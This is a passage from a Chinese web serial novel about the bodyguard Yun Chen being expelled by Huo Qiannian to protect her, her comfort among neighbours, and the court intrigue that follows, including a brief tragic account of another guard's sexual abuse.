直到那两个武备总管朝外伸手,对她道:
“云琛,你自己走吧,莫叫我们动手拖出去……不光彩……”
一瞬间,犹如当头棒喝。
云琛突然明白为什么了!
为什么霍乾念早晨还在语重心长地安慰她,此刻却对她恶语相向,毫不留情。
她像是抱着最后一点希望,盼望却又害怕那答案,苦涩地问他:
“是因为今日在山上……我对你表明的那些话吗?”
那时,她说:少主,我喜欢你。
她知道,其他人听不懂这问题,但他一定懂。
霍乾念神色微怔,喉结微不可查地动了动,又很快平复了。
见他不说话,默认了,云琛顿时了然。
一种既耻辱又剧痛的感觉锤击着她的心脏,眼泪也在这一刻汹涌袭来。
她死死攥着拳头,指甲几乎要抠进手心,才忍住眼泪没有落下。
至此,她终于明白那表明心意之后的冷淡是什么了。
也终于懂了这驱逐里饱含的……都是对她的厌恶而已。
她垂下肩膀,低下头,耻于再去看他,可还是努力调整哽咽的声音:
“少主……我不该对您言说那……异心……我错了……”
她俯身重重叩了个头,用最卑微的语气哀求道:
“少主,我错了……求您别赶我走……就当是留我报您的恩情,可以吗……”
短短两句话,几乎卑微到了尘埃里。令在场所有人心头一酸,皆面露不忍,那武备总管甚至有些鼻头发酸。
霍乾念却猛一拍椅子扶手,声音像是因为发怒而有些变形,怒斥道:
“速速将云琛逐出去!!”
她没有起身,更加用力地扒在地上,却终是被武备总管拉起来,强逼着后退。
一步又一步。
一步比一步离他更远。
一步比一步更安全。
她口口声声说自己错了,不该对他表明心意。
却没有说一句她不该动情。
她觉得错在对他言说,却不悔这生出的滚滚情意。
隔着数丈厅门,她远远地望着他,只见到他眉目淡漠得近乎残忍,陌生得如同初见。
站了许久许久,直到凉凉秋雨落下,云琛才脚步迟缓地离开。
厅内众护卫和武备总管都已散去,只有霍乾念一身玄袍,拘着那比秋月还冷的身子,独坐在高座之上。
房梁上,黑暗处值守位传来不言带着鼻音的声音:
“少主,阿琛已经走了……我送您回北柠堂吧……”
霍乾念轻轻摇头。
不言立即说句“那我去看看”,而后飞蹿出厅门,瞬间没了踪影。
半个时辰之后,不言垂着头回来了。
“我瞧见阿琛去敲颜十九的府门,想问问信的事,可颜十九好像不在……阿琛便循着颜府到霍府的路,一步一停,在找信……”
霍乾念身子猛然一震,嗓子眼像被什么东西狠狠哽住似的,痛到他几乎无法呼吸。
不言道:
“少主,我懂……玉阳基那畜生看上阿琛了,公主又为了和谈要我们步步退让,你是怕公主早晚下死命令交出阿琛……是为了保护阿琛才这样……可是……”
不言越说越难过:
“可是外面下雨了……秋雨真的好冷……”
霍乾念眉头颤动不止,闭上眼睛,不敢再听再看。
他满脑子都是那双瞬间黯淡下去的眼睛,红着眼眶,里面是晃动欲滴的泪水,写满她的受伤、委屈和失望……
他真的好怕她刚才会哭。
怕她刚一落泪,他就会不顾一切地收回命令,抛却所有理智,疯狂地去与世界为敌。
可倔强如她,眼泪是最后的尊严了吧。
她硬生生忍住没哭。
但那强忍着泪水,忍到身子都不停发抖的模样,反而叫他更加痛苦,几乎将他所有意志都摧毁殆尽。
他捂着心口,慢慢将身子伏低,蜷成一团。
空旷的大厅里,只有一声颤抖的叹息。
第121章 寻常烟火
一切都发生的太快太突然。
离开霍帮,云琛茫然站在大街上,心头是前所未有的慌乱,根本不知该何去何从。
她一会儿觉得是自己不该表白,惹霍乾念厌恶,一会儿又想起种种过往,觉得霍乾念应当也是喜欢她的。
难道真的是因为她马虎大意,弄丢了重要信函?
她去叩颜十九的门,想再求证一下,可颜十九不在。
她便开始提着灯笼在路上细细寻找信函。
从天亮,找到天黑。
任雨越来越大,秋风越来越凉。
那么长的巷她都一遍遍来回走过。
那么冰冷的石板路她都一寸寸摸过。
每一块石头都翻开查看,每一个角落都搜索一遍。
可什么都没有。
除了几个急匆匆躲雨的行人,街上一片空空荡荡。
她找啊找,直到大雨湿透她的衣裳,整个人都冷得发抖不止,她却还想将这路再走一遍,找一遍。
她倔强地想,如果找到信函,霍乾念便没有理由赶她走了吧。
只要她今后收敛起所有心思,老实妥帖地办好每一件差事,再不流露一丁点情愫,便能继续留在他身边了吧。
毕竟直到被逐出的那一刻,当哀求的话从嘴里说出来时,她才知,于她而言,他比什么都重要。
重于她的委屈和冤枉,也践踏在她的自尊心之上。
心里慢慢涌上后知后觉的羞耻滋味。
她无力地抱着膝盖蹲下,想要借着大雨的声音哭几嗓子,可眼泪早已被深深吞进肺腑,这会怎么都哭不出来了。
这种感觉难受极了,她深深将头埋起,情愿就这样淋他个三天三夜的雨,被淹了最好。
这时,一个迟缓的脚步慢慢靠近,有力的手掌摸向她的发顶,雨披随之落在她肩头。
她下意识认为“是少主反悔了?找我来了吗?”转而又想起他走不了路来着,不可能是他。
心里既期盼,又失望,她渴望安慰,却又怕被人看见这狼狈模样。
她不敢抬头去看,只将头埋得更低,身子抱得愈发紧。
可来人却像是根本容不得她这样作践自己,直接两手抱住她的脸,慢慢捧了起来——
一张布满皱纹的面孔出现在眼前。
老太太慈祥地看着她,将拐杖夹在胳膊下,用那双苍老却有力的手将她慢慢扶起来,笑眯眯地说:
“我老远就看着像你,果然!云小子,走,跟奶奶回家喝热汤去。”
云琛愣愣仰起脸,鼻头没由来地狠狠一酸。
那腔压抑许久的泪水,不知为何,竟在此刻突然决堤溃败,再也控制不住夺眶而出。
她“哇”的一声大哭起来,很快便哭得上气不接下气,但还不忘将雨披还给老太太,抽泣着问:
“奶奶……这……这么大的雨……你出……出来干嘛呀?当心着凉呀……”
老太太用拐杖轻轻敲了下云琛的头,嗔怪道:
“你小子是不是时间太久,把老太婆我忘干净了?下雨天鸡蛋才便宜呀!”
云琛这才注意到一旁地上的两大摞鸡蛋,都快堆得比拐杖还高了,真不知老太太一个人怎么拿得动的。
做武师的时候,云琛至少在六十多个下雨天帮老太太排队买过鸡蛋。
看着眼前熟悉的一幕,云琛真是哭笑不得,只得一边扛起鸡蛋,一边由老太太牵着手,慢慢顺着街道走去。
在这一老一少背影后,长街远远的另一头,两道身影同样淋雨站着。
那幽深的目光紧紧望着她,从始至终都不移分毫。
万宸浑身湿透,再次掂了掂手里未启的伞,从旁相问:
“公子,要不打伞吧?”
雨水顺着颜十九阴沉的面容流下,他缓缓摇头。
“霍乾念心里很清楚,只有我能配合他演这出戏,并且我与他一样,皆受命于公主,眼下都留不得云琛,一切留与护,都只能让云琛更危险……
已经熬到这步,断不能前功尽弃。离了我们,她便是南璃君——是这世上任何人都奈何不了的自由之身了……”
“公子所言甚是。”万宸抹了把脸上的雨水,“还是先打伞吧……”
半个时辰后,小小的民宅院中。
大雨渐渐停息,只剩最后一点捶打在屋顶瓦片上。
那经年风吹日晒的层层旧瓦,几乎要比这屋子的主人年纪还大。
小雨倒还不妨事,大雨就扛不住了,这会稀稀拉拉往下漏水。
云琛像只大螃蟹似的趴在屋顶上,一边小心翼翼挪动,防止踩坏旧瓦,一边还要动作轻柔地把破瓦拿下来,将新瓦片替换上去,仔细用胶泥糊好缝隙。
同时还要忍受着周遭沸锅一样嘈杂的声音。
卖豆腐脑的李婶两手叉腰:“云小子,往左边多糊点泥!对,糊厚实点!”
热汤面的张哥急得直拍大腿:“不对!太厚了!回头太阳一晒全裂开,还是漏!”
小寡妇孙氏扯着嗓子:“别听他俩的!就按从前你给我家修的那样弄!这都好几年了也没漏,好着呢!”
“云哥哥好厉害!云哥哥加油!”妙妙兴奋地抱着黑猫转圈跳舞,甩得猫舌头都快飞出来了。
这屋院的主人——老太太则两手高举拐杖,时不时跳起来捶云琛屁股一下,骂道:
“你小子给我仔细点!一去京都好几年,才回来露面,不给老婆子我修好屋顶,不放你走!”
“哈哈哈哈哈……”
院子里的男女老少通通笑起。
云琛揉揉挨了好几下的屁股,红着脸,嘴里不高兴地嘟囔着“真过分,人家刚刚失恋又失业,还伤心着呢”,手里却一点没停,很快就将屋顶全部修好。
等她忙活完跳下来时,院子里已拼起两个小方桌,摆了几把大小高低不一的凳子。
一桌热气腾腾的家常菜摆在桌上,辣椒炒肉,小葱拌豆腐,凉拌土豆丝,蘑菇炖鸡……还有一大锅浓浓的姜汤。
老太太将姜汤分别盛进几个碗里,将其中最大的一碗塞给云琛,几乎是捏着她鼻子给她灌下,辣得她直跳脚:
“辣辣辣……嘶……这是放了多少姜?”
李婶也捧了一小碗姜汤嘬着,笑道:
“奶奶还不是怕你着凉,下老本,放了半麻袋姜!哈哈哈哈——”
其他人也再次跟着笑起。
在众人关切的目光下,云琛喝酒似的将一大碗汤干掉,立刻引得所有人小小欢呼,妙妙还举着猫爪一起鼓掌。
云琛有点不好意思,心说喝个姜汤而已,也值得这样高兴吗?她平时喝酒都没被人这么夸过呢。
虽然暗自嘀咕,但她心里却莫名觉得特别暖和。
那姜水好像从胃里开始生暖,一点点驱赶尽五脏六腑的所有寒意。
“云小子,吃菜,张哥特意给你炖的鸡!”
“多吃点饭,瞧你瘦的!看来京都也不咋的,都没给你养胖点!”
“云哥哥,给我留个鸡翅膀!”
“慢点吃,你孙姐包饺子呢,马上就好了。”
在众人你一言我一语的包围声中,云琛狼吞虎咽地吃起来。
随着胃一点点饱满,她的心情也渐渐舒展。
有那么一瞬间,她觉得霍乾念好像也不是那么重要,还没有眼前的小鸡炖蘑菇好呢……
吃罢饭,众人仍旧围着云琛聊天,从东家姑娘嫁了个傻小子,聊到西家老爷们上山挖野菜,挣了好几个铜板;
妙妙在旁边跑来跑去“折磨”黑猫;
云琛则坐在小板凳上,托着腮,安静听着一切。
全是些平凡而无聊的琐事,和什么霍帮、玉家,与什么生死富贵都无关,可她竟听得津津有味,感觉从来没有像此刻这么踏实过。
活了大半辈子的老太太,不可能看不出云琛的情绪。
见惯了形形色色客人们的卖豆腐李婶、热汤面张哥,怎么会瞧不出云琛小脸上的阴霾。
就连妙妙一开始都小心翼翼地靠近,直到云琛勉强露出笑容,才欢快地扑进云琛怀里。
所有人都知道,云琛一定遇到了什么难解的大事,才会如此消沉。
可谁都没有问一个字,全都好似没心没肺地说笑着。
好像活着,吃饱,才是人生头等大事,其他都不重要。
这里没有黄金万两和权势滔天,只有家常味道。
可偏偏正是这寻常烟火气,最抚游子心。
众人就这么吃喝笑闹了许久。
云琛累了,靠坐在老太太身边,轻声问:
“奶奶,天下的爱情都这么痛苦吗?”
“啧……不知道。你喝多了?先说好,别吐我身上。”
“相爱才算爱情吧,一个人只能叫‘单相思’,对吗?”
“叫‘吃饱了撑的没事干’。对方不思你,你思个什么劲儿!”
“那我若还想继续‘思’下去呢?”
“去呗。最后要么成对佳偶,要么撞得头破血流,总好过你一辈子被自己心里的念头吊着,对不?”
第122章 让这世道逼死她
云琛走了。
走得干净利落。
或者说是被“薄情寡义”的霍乾念驱逐的利落。
除了身上那被扒去霍帮标志的亲卫服,她什么都没来得及带走。
云琛被赶走的那日,花绝和叶峮都被霍乾念支出去办差。
等二人忙完回府时,才知道云琛已经离开三日了。
花绝气急了,一会儿跪在书房门口闹绝食,一会儿又写辞书给霍乾念,说要去寻云琛。
每闹一场,便要挨三五鞭子府规家法,可花绝完全没有要罢休的意思。
见叶峮沉默地站在旁边,既不劝,也不和自己一起去霍乾念面前求情,不言更是拿“暗卫”当借口,整日不出现,花绝连带着对他们也生了怒气。
“好好好!真是人走茶凉!你们都是好样的!”花绝怒极反笑,指指叶峮鼻子,又指向大门紧闭的书房,咬牙切齿道:
“阿琛为霍帮立下多少汗马功劳,都忘了是吗?行!此处不留爷,自有留爷处!可狗哥和小六才走了没多久,非要现在往阿琛身上扎刀子吗?!为何还要‘逐’出府?!这叫他到哪里再讨生活去?”
话音落下,回应花绝的仍然只有紧闭的书房门。
忍着一腔怒火,花绝走到门口,重重跪下,大声道:
“少主,既然你并不疼阿琛,也不担心阿琛离了霍帮将要去哪里,该怎么生活,会不会有危险!那我请辞好了!或者你也将我驱逐出府!!”
“轰”的一声,书房里传来书架倒下的动静。
接着便响起霍乾念强压怒意的声音:
“滚!”
花绝一愣,见霍乾念终于有所反应,立刻就要冲进书房,却被叶峮一把拦住,半拖半拽着才离开北柠堂。
这么一闹,阖府上下议论纷纷,很快便传遍整个烟城。
这日,公主南璃君在白鹭岛宴请手下所有大商。
花绝虽闹别扭,但护卫的差事还是得办,便护卫着霍乾念前去赴宴。
和从前一路说说笑笑不同,如今因为云琛的事情,花绝心里憋着气,便故意冷着霍乾念,非必要不与他说话。
霍乾念却像对花绝的冷淡根本不在意,他本就话少,除了吩咐花绝做事,也不多言。
到了白鹭岛,宴席还未开始,花绝推着霍乾念四处走走,时不时停下来与其他贵客寒暄。
花绝以为,大概是自己的脸色太冷硬的缘故,遇见的贵客总会多打量自己几眼。
他便搓搓脸颊,试图让表情不那么僵硬。
正推着霍乾念进入后庭小花园时,一位贵客迎面而来,与霍乾念寒暄几句之后,竟开口同花绝问好:
“大名鼎鼎的玄都护卫,如今一见,果然芝兰玉树,风华绝代。”
花绝不悦皱眉,“在下花绝。玄都护卫不在,已被我家少主逐出霍帮,贵人见不着了!”
那贵客一愣,神情惊疑地看了眼霍乾念,尴尬道:
“原来如此……是我孤陋寡闻了,这些日子忙着公主交代的差事,竟没听说这样的大事。”
这回换花绝疑惑了,云琛被逐出霍帮,对于霍帮来说是件大事,但对霍帮之外,怎还能算大事呢?
霍乾念神色平淡,对那贵客道:
“我那护卫办砸了大差事,已被逐出。”
那贵客意味深长地笑笑,又寒暄几句,而后离开。
因为提到云琛,而且霍乾念说“逐出”的时候,神态特别稀松平常,不禁叫花绝心里一寒,那股子才压下去没多久的气,又全都冒了出来。
花绝忍不住手中使力,将轮椅猛推上石子路,故意走得特别颠簸。
霍乾念没有制止,也没有说话。
结果刚走上石子路没一会儿,不知是花绝力气太大,还是轮椅老旧的缘故,只听“咔嚓”一声,轮椅一边的轮子歪斜劈叉,彻底转不动了。
“马车上有备用椅子,我去拿来。”花绝没好气地说,然后随手将霍乾念安置在最近的亭台廊下,动作粗鲁地将霍乾念往廊柱上一靠,便头也不回地走了。
霍乾念身子一倾,差点摔倒,赶忙撑靠住石台,费力地坐好。
“霍少主还真是狼狈啊!”
一个声音笑吟吟地由远及近。
颜十九摇着扇子,闲庭信步地从石子路另一边走过来,走到已经损坏的轮椅跟前,打量了两圈,啧啧摇头道:
“这椅子旧了,即使不上这石子路,也用不了几日。不如我取北寒冰川木为霍少主打制一把椅子吧,必然稳固,霍少主用到羽化之日不成问题。”
霍乾念嗤笑一声,“颜公子不是最喜欢装直爽开朗吗,今日怎么不装了?”
颜十九面上笑意更加灿烂:
“在下既然装了,必然要装到底喽,也装到在下羽化之日。霍少主,你我都是给公主卖命的,就别为难我了。倒是霍少主你,离了护卫便这么狼狈,我看着都有点心疼呢!”
霍乾念面色平静,十分寻常地说道:
“自然是狼狈。我双腿残疾,行走坐卧都要人伺候,比不得颜公子四肢健全,腿脚利索。”
霍乾念这一直白,倒叫颜十九说不出话来。
霍乾念便道:
“对了,云琛送信之事,有劳颜公子。颜公子果然聪慧,只瞧那白纸,便知晓我意,很好,可堪大任。”
这话仿佛一个长辈在夸奖邻居家的小孩儿,说“不错,这孩子聪明,能教”。
果然,颜十九立马就不爽了,“啪”地收起扇子,脸色微凛:
“霍少主若早些察觉玉阳基的诡意,何至于现在才将云琛放走,害堂堂玄都护卫沦落到被‘驱逐’的地步。想来霍少主轮椅坐久了,不只腿僵,耳朵眼睛也不灵光了。”
霍乾念挑眉冷笑,“听颜公子这意思,倒像是巴不得给云琛——给我的护卫做护卫似的。颜公子太多虑了,云琛有本事在身,在哪里都能过得很好,不需要人护。”
眼神打量着霍乾念的腿,颜十九嘴巴比脑子快了一步:
“她再有本事也得有人护,只不过你护不了而已。”
话音落下,见霍乾念神色了然,瞬间收起所有客气表情,变得如常冷郁,颜十九便知中了被套话的圈套。
这一瞬间,霍乾念几乎终于可以确定:
云琛……竟然真的是女子……
颜十九从不掩饰对云琛的觊觎,毫不在意别人如何议论他是不是龙阳断袖。
因为他知道云琛的女儿身,所以骨子里傲慢如他,才会说出“云琛再有本事也得有人护”的话来。
没人会用这样一句话,去形容一个武功高强的男人。
原来,云琛真的是女子。
如此一来,霍乾念心中长久以来的种种猜疑,便全都解释得通了。
心中大石头落地,霍乾念只觉坦荡清明,那些酸涩与痛苦也加倍地翻涌上心头。
颜十九自知上当,却不能发作,便故意激道:
“霍少主既然知道了,何不昭告天下,玉阳基便不会盯上她了,如何?”
颜十九在挑唆霍乾念干脆揭穿云琛女扮男装的秘密,玉阳基是狂热的龙阳之好,自然不会再盯着云琛。
霍乾念却冷笑一声,反问:
“你是想让这世道逼死她么?”
这话一出,颜十九终于绷不住面皮,彻底脸色一沉,头也不回地大步离去。
第123章 只赚不赔好的买卖
颜十九甩给霍乾念一个背影,随后越走越急,越走越气。
他一头扎进客房,像只没头苍蝇似的转了八百个来回,而后拿扇子指着房梁暗处,怒道:
“万宸!霍乾念那厮说我想让这世道逼死云琛!我会不知道??我若不知道!便无视那封可笑的白纸信函!不做这场戏!去告诉全天下她云琛是个姑娘!叫玉阳基死了这条心!也叫全天下都议论嗤笑她!叫街头巷尾都去造谣她的清誉!叫她这辈子都抬不起头来!!”
颜十九越说越怒,一脚将桌椅踹翻,骂道:
“霍乾念那个残废知道什么!!他不配知道!!不配!!!”
狠狠发泄了一通,折腾得屋子里一片狼藉,颜十九才终于仰躺在榻上,堪堪平息。
“万宸,她怎么样了?”
房梁处传来万宸的声音:“回公子的话,云护卫昨日已到末晓城。”
“好……霍乾念没本事护着她,就由我来护!”颜十九翻身从榻上跃起,狠狠道:
“他这辈子都别想再见到她!”
同一时刻,另一边的后庭花园中。
花绝去而复返,手里拿着马车上常年装着的备用轮椅。
将走到石子路与亭台廊下的时候,一旁屋宇暗处传来不言的声音:
“你小子有些过分了!”
花绝环顾四周,看不见不言隐在哪里,只知道不言如今越来越多做暗卫的差事,甚少露面。
方才霍乾念那样被折腾,不言都瞧得清清楚楚。
花绝鼻子里重重地哼了一声,“纵使少主再无情,我也做不到无情对他。我知道你在,才敢将少主一个人留在那里。你不用对我有气!”
四周沉默着,直到花绝离开,才再次听到不言的声音。
没有别的,只是重重一声叹息。
很快,时间来到酉时。
白鹭岛的宴席终于开始。
舞女翩翩,袅袅琴乐伴着轻歌曼舞,气氛逐渐热络起来。
公主南璃君手下有头有脸的大商都在,还有几个穿着常服的贵客,一看就是朝中高官。
南璃君坐在主位,与众人言笑晏晏。
霍乾念的座次被安排在仅次于南璃君的贵客位,他甚少说话,只是一杯接一杯地喝酒。
宴席到一半时,南璃君笑问霍乾念:
“怎么不见小云护卫?”
霍乾念道:“公主恕罪,云琛已被臣逐出霍帮,不知去哪里了。”
南璃君一愣,笑容变得僵硬,“霍乾念,你在开什么玩笑?”
霍乾念眉眼都不抬一下,只道:
“云琛办砸了差事,臣便依照霍府家规处置,将其逐出霍帮。就是这样。”
南璃君不可思议地瞪着霍乾念,胸口剧烈地起伏,看得出来,她在极力忍着将要喷薄的怒气。
看着霍乾念那平静淡定的样子,南璃君猛地扭头看向一旁的菘蓝,终于忍不住高声怒问:
“菘蓝!这样大的事为何不说!!”
舞乐戛然而止,众人都停下吃喝笑谈,噤声看向南璃君。
从众人的眼神可以看出,有几个人和南璃君一样,也是才知道云琛被逐出的事,而大部分人显然早就听说此事。
作为公主身边的大女官,菘蓝不可能不知道云琛被逐,却选择了缄默。
菘蓝立刻跪下请罪,只道自己疏忽大意,未曾听闻此事。
南璃君纵然一腔怒火,可现在对霍乾念发,不合适,对菘蓝发更是无异于打自己的脸。
硬生生忍住火气,南璃君硬挤出一个僵硬的笑容,对霍乾念道:
“霍少主,咱们先前不是说好了吗,与玉家和谈之事进展缓慢,需得一名和谈使专门前往玉家,与玉阳基交涉,敦促和谈。
玉阳基既提议由云琛为和谈使,长驻玉家,我便正式赐云琛极璃带刀侍卫之职,赐号‘玄都护卫’。”
听完南璃君这番话,霍乾念仍旧没有什么表情,倒是他身旁的花绝愣住了。
霍乾念冷冷道:
“公主恕罪,我从没同意过这件事,公主所谓‘先前说好’,恰好是我不在场之时。公主与别人商议着要将我家护卫送出去冲锋陷阵,却不与我言说,只告知我。
无妨,公主下令,遵命就是。只是云琛实在可恶,心存异心,留不得,只能逐走。请公主另换他人吧。各位大商手下都有武艺高强的护卫,一定有玉老爷看得上的。”
此话一出,算是将全场所有人都得罪完了。
谁不知道玉阳基那点腌臜事,点名要云琛,一则色心使然,二则也是给南璃君下马威。
一听这倒霉差事可能要落在自家护卫头上,自己也要顶这个大麻烦,众人皆面面相觑,不知如何是好。一大商开口道:
“众商之内,霍帮为首,自然还是霍帮出人最为稳妥些。即使云琛不在,也可择霍帮其他人而去,由公主赏了‘玄都护卫’的名号便妥。”
有人阴阳怪气道:
“那也得玉阳基看得上的才行,至少得如玄都护卫那般玉树临风吧?”
众人一阵讥笑。
霍乾念重重将酒杯放在桌子上,发出“咚”的一声,所有人立时止住笑声,安静下来。
霍乾念阴沉着脸,目光扫视全场,一一从每个人的脸上看过。
众人只觉得像被刀子刮了面,不敢再戏言。
霍乾念冷冷道:
“霍帮是众商之首不错,但不是唯一大商。诸位既跟着谋利,怎么不愿跟着出本?天下哪里有这样只赚不赔好的买卖?我霍帮真是羡慕!”
第124章 掬庭护卫
白鹭岛的宴席不欢而散。
南璃君强忍一腔怒火,甩袖而去。
其他大商也是对霍帮心生怨怼,却不敢言说。
最终,在霍乾念以霍帮强势的逼迫威胁下,南璃君令一个糖商应下派和谈使的差事。
选了最俊俏的一名护卫,封了“掬庭护卫”的名号,被送去玉家。
那掬庭护卫跪在堂中,咬着牙谢恩的时候,那屈辱又绝望的神情,花绝一辈子都忘不掉。
没几个主子会像霍乾念那般爱惜身边出生入死的护卫。
也没有谁会像霍乾念一样,为保自己的护卫,不惜背上骂名也要串通他人做戏,更以极具威逼的气势,与堂堂楠国公主针锋相对,与众商为敌。
据说,那掬庭护卫的确被玉阳基瞧上了,只可惜被一口灌下玉家独门春药“销魂一笑”,被缚在玉阳基房中三天三夜……
等被抬回去的时候,那掬庭护卫已是下半身烂糊一片,惨不忍睹,连裤子都未穿,只盖着一条血迹屎迹斑斑的薄被,剩半条命了。
好好一个武功高强的护卫,端端一条习武多年忠心耿耿的汉子,自此成了坊间笑谈。
没人会再记得他为自家主子流过的血,拼过的命,人们只是说:
“喂,听说了吗?那‘掬庭护卫’已经婚娶有妻,却被玉阳基玩了三天三夜,落得终身残疾,已屎尿都不能自理。”
“唉,护卫说到底也是奴才,能费个奴才就平息的事,主子怎么肯大动干戈。要说这霍玉之争也是可笑,霍帮竟就这样低了头?”
“听说霍帮少主是不肯的,可民不与官斗,他霍乾念到底拗不过公主呀!”
“啧啧……”
就这样,与玉家的和谈之事终于进展顺利,霍帮摘去了“私藏兵器意图谋反”的罪名,公主南璃君也免了被波及的麻烦。
等皇帝病愈闻朝的时候,朝野上下已是一团和气,所有人都好似长了同一张嘴,没人再提关于霍帮和玉家的一个字。
看似天下太平。
可那被拆梁溅血的霍氏祠堂还在,那被割让的堂口和年利也在。
那上吊自尽的掬庭护卫的尸身温热,妻子的哭声也还在。
所有人与事都在提醒着:
霍帮大败。
玉家重回楠国首富的巅峰。
如今的霍帮,只能将将与玉家抗衡而已。
流言纷纷扰扰,也源源不断地以各种版本传进霍府。
因为大部分人都在京都霍府,烟城这里的府邸人丁稀少,四下一片寂静压抑。
护卫们听着关于霍帮各种颓废不耻的谣言,干脆直接关上大门,讨个清净。
也有被造谣的不胜其扰,听别人侮辱性地讲述霍帮败绩时,直接和路人在街上大打出手的。
更有甚者,直接顺着造谣者一层层找去源头,上门将对方暴揍一顿,过后惹的谣言更加不堪。
一时间,就连霍帮护卫们自己都觉得,这天好像要塌了。
倒是霍乾念没有什么特别的反应,仍旧每日在书房从天亮忙到天黑,偶尔赴宴,偶尔奉命去公主府议事。
他姿态平淡,神情也如旧冷郁。
这令霍帮上下都安心许多。
只是没有人发现,那双好看的凤眸再也没有弯起过。
那张天神孤星般俊朗的面容上,再也没有过笑容。
霍乾念仿佛又回到了“霍少主”的身体里——那个在云琛出现以前的“霍乾念”。
如果到这里,花绝还是没有明白,没有回过味来,那他也实实在在白当那么久的霍帮亲卫了。
花绝羞愧难当,问叶峮和不言:
“你俩早就知道,少主是为了保护阿琛,才故作这一切?”
叶峮叹气:
“是。但我劝不得你,就得由你闹几场,旁人才真以为少主厌弃阿琛,传到公主耳朵里,公主才能信几分,才有台阶下。”
不言也低声道:
“不这样怎么办呢?以阿琛的性格,若知道真相,知道玉家指明要她前去谈和,恐怕她一刻都不会犹豫,自己就要去跳那火坑。”
愧疚之上更生恼怒,花绝狠狠给了叶峮和不言一人一拳头,而后跑到已经准备入寝的霍乾念的床边,扑通一声跪下,红着眼睛道:
“少主,我错了!”
霍乾念摆摆手,自顾面朝里躺下,并不多说话。
花绝只当是霍乾念还在生气,便对着霍乾念的脊背道:
“少主,是我不好!你罚我吧,打我鞭子板子都行,只要你消气,怎么着都行!”
“唉……”霍乾念叹口气,疲惫地揉了揉眉心,道:“不用了。今日事多,我乏得很,想睡一会。”
花绝闻言,“梆梆”在地上磕了两个响头,起身就朝外走,坚决道:
“我去领十板子,给少主消气!”
走到屋门口,花绝突然僵站在原地,又步履迟缓地走回来。
他满脸懊悔和心疼,低低开口:
“哥,你应该比我们更难受吧……”
只有没人在的时候,花绝偶尔会这样喊霍乾念。
“哥,现在我知道了,你全是因为舍不得阿琛知道真相去冒险,才赶他走……那等打败玉家那一天,是不是就能叫阿琛回来了……”
霍乾念没有作声,花绝却清楚看见他的肩膀僵了一下。
照如今这情形来看,这“有一天”也许是一年两年,也许是十年八年……
不敢再多说话,花绝悄悄退出去。
他很清楚,叶峮、不言……人人都伤心难过,那么作为与云琛朝夕相处,那么疼爱云琛的霍乾念呢?
只怕那痛楚只多不少。
而且人人都能随心所欲地抱怨和思念,唯有亲手将云琛“逐出”的霍乾念不能……
花绝走后,屋里重回寂静。
霍乾念慢慢翻过身平躺,神色疲乏又苍白。
他抬起手,摸向枕下冰凉的被褥,在那里面摸到一条剑穗,两颗润凉的南珠……
第125章 世上还是好人多
从烟城往东八百里,末晓城的一家食肆内。
一身量纤纤的年轻男子坐在桌前,边吃酱牛肉,边皱眉看着手里皱皱吧唧的地图。
“特娘的……”年轻男子忍不住骂了句脏话,那俊俏模样与粗鄙言语形成的反差感,立马吸引了周围人的注意。
一个吃面的大爷咬了口蒜,搭话问道:
“小伙子,我瞅你拿个地图一直看,牛肉都凉了也不知道吃,瞅啥呢?”
那年轻男子挠头,“我从烟城出来,一路按地图走到这,但怎么感觉越来越往东北,好像离东炎国越来越远了?”
“咳咳……”那大爷一口面条呛在嘴里,咳嗽了好一阵才道:
“你这小伙儿也忒棒槌了,离了烟城得往西南走啊,怎么到末晓城来了?烟城离东炎国还更近点呐!”
“啊?”那年轻男子——云琛愣了,拿着地图颠来倒去,疑惑查看。
大爷看得直摇头,端起面坐到云琛桌子前。
云琛乖觉地将酱牛肉推到大爷碗边:
“大爷,您吃肉,别客气。吃完帮我瞧瞧这地图呗!”
大爷也不客套,三两筷子就将一盘酱牛肉下肚,呼噜噜吃罢面,拿过云琛手里的地图,看了两眼,砸吧嘴道:
“你这娃是真棒槌啊!就是说你傻的意思!这地图都快错到姥姥家去了,你要按这走,最后得走到楠国边境去了!”
云琛懵了,拿着地图又翻看了几个来回,不禁愣在原地开始细细回想:
被赶出霍帮,在街上找信无果的那天。
当老太太在令人温暖的烟火气中,颇有哲理地说出,要么成对佳偶,要么撞个头破血流的时候,云琛的心一下就定了。
她打定主意去东炎国。
可惜被霍帮赶出来时太匆忙,她身上什么也没带,连银子都没有。
最后还是老太太、李婶、张哥几人凑了凑,妙妙还添了两个铜板,才算有点路费。
拿着这些钱,云琛买了匹快马,一个白馒头,与老太太几人逐一告别,又抱了抱妙妙和黑猫,才驾马出城而去。
刚出城八十里,她就瞧见一个瘦瘦的男人在路边卖衣服,招呼她买几件好衣服穿。
那瘦瘦的男人笑道:
“这位兄弟,你身上的衣服太薄了,穿着骑马会着风寒的。你看看我卖的衣服,比你身上那件暖和,还不显眼。”
云琛觉得有道理。自己身上这霍帮护卫服制的确太扎眼,虽然被除了醒狮标志,但若碰上霍帮仇家,立马能认出她是霍帮护卫,实在徒惹麻烦。
那瘦男人的衣服摊子虽小,却摆着各式各样的衣服,男装女装都有,料子昂贵,颜色华丽。
她挑中一件样式普通、适宜打斗的黑色武服,这才想起自己身无分文,最后一个铜板已经买馒头吃了。
似乎看出她的窘迫,那瘦瘦的男人道:
“小兄弟可是囊中羞涩?不打紧,你先拿去穿,等有钱了再还我就行。”
云琛惊讶,“我与大哥素不相识,竟愿给我赊账?”
那瘦瘦的男人道:
“这位兄弟一看就是高风亮节忠义正直,行走江湖靠的就是信义!我相信小兄弟不会赖账。再说了,这些衣服不过是拙荆闲来无事自己缝制的,没啥要紧,小兄弟不必客气,尽管拿去穿!”
云琛感激不已,千恩万谢地记下那瘦男人的住址,许诺他日一定上门答谢,如数还钱。
换了衣服,云琛继续赶路,途径一个小镇子时,又遇见一打铁铺,一个高瘦的铁匠在卖武器佩刀。
云琛手里没武器,甚是空落不习惯,忍不住上前挑选。
那高瘦的铁匠捧给她一柄长剑,只见剑鞘乌黑厚重,满刻如意云纹。
拔出剑来,声音清脆嗡鸣。
剑身纯黑如墨,浴血泛红,上刻古篆体“玄九”二字。
这剑比寻常剑更重些,看起来气势汹汹,舞起来也是威道赫赫。
云琛持剑稍稍比画了两下,觉得甚为称手。
不曾想山野村庄之地,竟有能铸造如此宝剑的隐士高人,云琛便想用马换剑。
那高瘦的铁匠一口应允,还夸赞起云琛:
“这位兄弟一瞧就是高手!瞧方才挥剑那几下,剑气磅礴激射,似有猛兽咆哮剑气中,飞沙走石遮天蔽日……”
